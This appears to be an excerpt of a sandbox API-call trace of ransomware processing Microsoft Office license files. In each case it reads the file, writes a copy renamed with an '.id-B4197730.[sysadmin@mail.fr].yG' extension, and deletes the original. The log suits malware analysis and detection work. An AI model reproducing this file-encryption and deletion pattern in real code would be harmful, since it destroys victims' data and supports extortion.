	[0173.259] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.260] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11651) returned 1
	[0173.260] CloseHandle (hObject=0x550) returned 1
	[0173.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0173.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.261] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.261] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0173.263] GetLastError () returned 0x0
	[0173.263] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d83, lpOverlapped=0x0) returned 1
	[0173.265] WriteFile (in: hFile=0x484, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d90, lpOverlapped=0x0) returned 1
	[0173.267] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.267] WriteFile (in: hFile=0x484, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x126, lpOverlapped=0x0) returned 1
	[0173.267] SetEndOfFile (hFile=0x484) returned 1
	[0173.267] CloseHandle (hObject=0x484) returned 1
	[0173.267] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.267] SetEndOfFile (hFile=0x550) returned 1
	[0173.271] CloseHandle (hObject=0x550) returned 1
	[0173.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 1
	[0173.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0173.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0173.273] lstrlenW (lpString=".doc") returned 4
	[0173.273] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.273] lstrlenW (lpString=".docx") returned 5
	[0173.273] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.273] lstrlenW (lpString=".pdf") returned 4
	[0173.273] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.273] lstrlenW (lpString=".xls") returned 4
	[0173.273] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.273] lstrlenW (lpString=".xlsx") returned 5
	[0173.273] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.274] lstrlenW (lpString=".ppt") returned 4
	[0173.274] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0173.274] lstrlenW (lpString=".zip") returned 4
	[0173.274] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.274] lstrlenW (lpString=".rar") returned 4
	[0173.274] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.274] lstrlenW (lpString=".bz2") returned 4
	[0173.274] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.274] lstrlenW (lpString=".7z") returned 3
	[0173.274] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0173.274] lstrlenW (lpString=".dbf") returned 4
	[0173.274] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0173.274] lstrlenW (lpString=".1cd") returned 4
	[0173.274] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91
	[0173.274] lstrlenW (lpString=".jpg") returned 4
	[0173.274] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.277] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11199) returned 1
	[0173.277] CloseHandle (hObject=0x550) returned 1
	[0173.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 0x220
	[0173.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.278] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.279] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0173.280] GetLastError () returned 0x0
	[0173.280] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0173.302] WriteFile (in: hFile=0x484, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0173.304] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.304] WriteFile (in: hFile=0x484, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0173.304] SetEndOfFile (hFile=0x484) returned 1
	[0173.304] CloseHandle (hObject=0x484) returned 1
	[0173.304] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.304] SetEndOfFile (hFile=0x550) returned 1
	[0173.493] CloseHandle (hObject=0x550) returned 1
	[0173.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.494] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-pl.xrm-ms")) returned 1
	[0173.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0173.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0173.495] lstrlenW (lpString=".doc") returned 4
	[0173.495] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.495] lstrlenW (lpString=".docx") returned 5
	[0173.495] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.495] lstrlenW (lpString=".pdf") returned 4
	[0173.495] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.495] lstrlenW (lpString=".xls") returned 4
	[0173.495] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.495] lstrlenW (lpString=".xlsx") returned 5
	[0173.495] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.495] lstrlenW (lpString=".ppt") returned 4
	[0173.495] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0173.495] lstrlenW (lpString=".zip") returned 4
	[0173.496] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.496] lstrlenW (lpString=".rar") returned 4
	[0173.496] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.496] lstrlenW (lpString=".bz2") returned 4
	[0173.496] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.496] lstrlenW (lpString=".7z") returned 3
	[0173.496] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0173.496] lstrlenW (lpString=".dbf") returned 4
	[0173.496] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0173.496] lstrlenW (lpString=".1cd") returned 4
	[0173.496] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0173.496] lstrlenW (lpString=".jpg") returned 4
	[0173.496] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.497] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11630) returned 1
	[0173.497] CloseHandle (hObject=0x550) returned 1
	[0173.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 0x220
	[0173.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.498] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.498] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.499] GetLastError () returned 0x0
	[0173.499] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0173.537] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0173.538] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.538] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0173.539] SetEndOfFile (hFile=0x564) returned 1
	[0173.539] CloseHandle (hObject=0x564) returned 1
	[0173.539] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.539] SetEndOfFile (hFile=0x550) returned 1
	[0173.543] CloseHandle (hObject=0x550) returned 1
	[0173.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 1
	[0173.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0173.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0173.545] lstrlenW (lpString=".doc") returned 4
	[0173.545] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.545] lstrlenW (lpString=".docx") returned 5
	[0173.545] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.545] lstrlenW (lpString=".pdf") returned 4
	[0173.545] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.545] lstrlenW (lpString=".xls") returned 4
	[0173.545] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.545] lstrlenW (lpString=".xlsx") returned 5
	[0173.545] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.545] lstrlenW (lpString=".ppt") returned 4
	[0173.545] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0173.545] lstrlenW (lpString=".zip") returned 4
	[0173.545] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.545] lstrlenW (lpString=".rar") returned 4
	[0173.545] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.545] lstrlenW (lpString=".bz2") returned 4
	[0173.545] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.545] lstrlenW (lpString=".7z") returned 3
	[0173.545] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0173.545] lstrlenW (lpString=".dbf") returned 4
	[0173.546] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0173.546] lstrlenW (lpString=".1cd") returned 4
	[0173.546] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0173.546] lstrlenW (lpString=".jpg") returned 4
	[0173.546] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.546] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11630) returned 1
	[0173.546] CloseHandle (hObject=0x550) returned 1
	[0173.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 0x220
	[0173.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0173.548] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.548] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.549] GetLastError () returned 0x0
	[0173.549] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0173.557] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0173.559] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.559] WriteFile (in: hFile=0x564, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0173.559] SetEndOfFile (hFile=0x564) returned 1
	[0173.559] CloseHandle (hObject=0x564) returned 1
	[0173.559] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.559] SetEndOfFile (hFile=0x550) returned 1
	[0173.563] CloseHandle (hObject=0x550) returned 1
	[0173.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms")) returned 1
	[0173.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0173.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0173.565] lstrlenW (lpString=".doc") returned 4
	[0173.565] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.565] lstrlenW (lpString=".docx") returned 5
	[0173.565] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.565] lstrlenW (lpString=".pdf") returned 4
	[0173.565] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.565] lstrlenW (lpString=".xls") returned 4
	[0173.565] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.565] lstrlenW (lpString=".xlsx") returned 5
	[0173.565] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.565] lstrlenW (lpString=".ppt") returned 4
	[0173.565] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0173.565] lstrlenW (lpString=".zip") returned 4
	[0173.565] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.565] lstrlenW (lpString=".rar") returned 4
	[0173.565] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.565] lstrlenW (lpString=".bz2") returned 4
	[0173.565] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.566] lstrlenW (lpString=".7z") returned 3
	[0173.566] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0173.566] lstrlenW (lpString=".dbf") returned 4
	[0173.566] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0173.566] lstrlenW (lpString=".1cd") returned 4
	[0173.566] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms") returned 86
	[0173.566] lstrlenW (lpString=".jpg") returned 4
	[0173.566] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.567] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=11179) returned 1
	[0173.567] CloseHandle (hObject=0x550) returned 1
	[0173.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms")) returned 0x220
	[0173.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
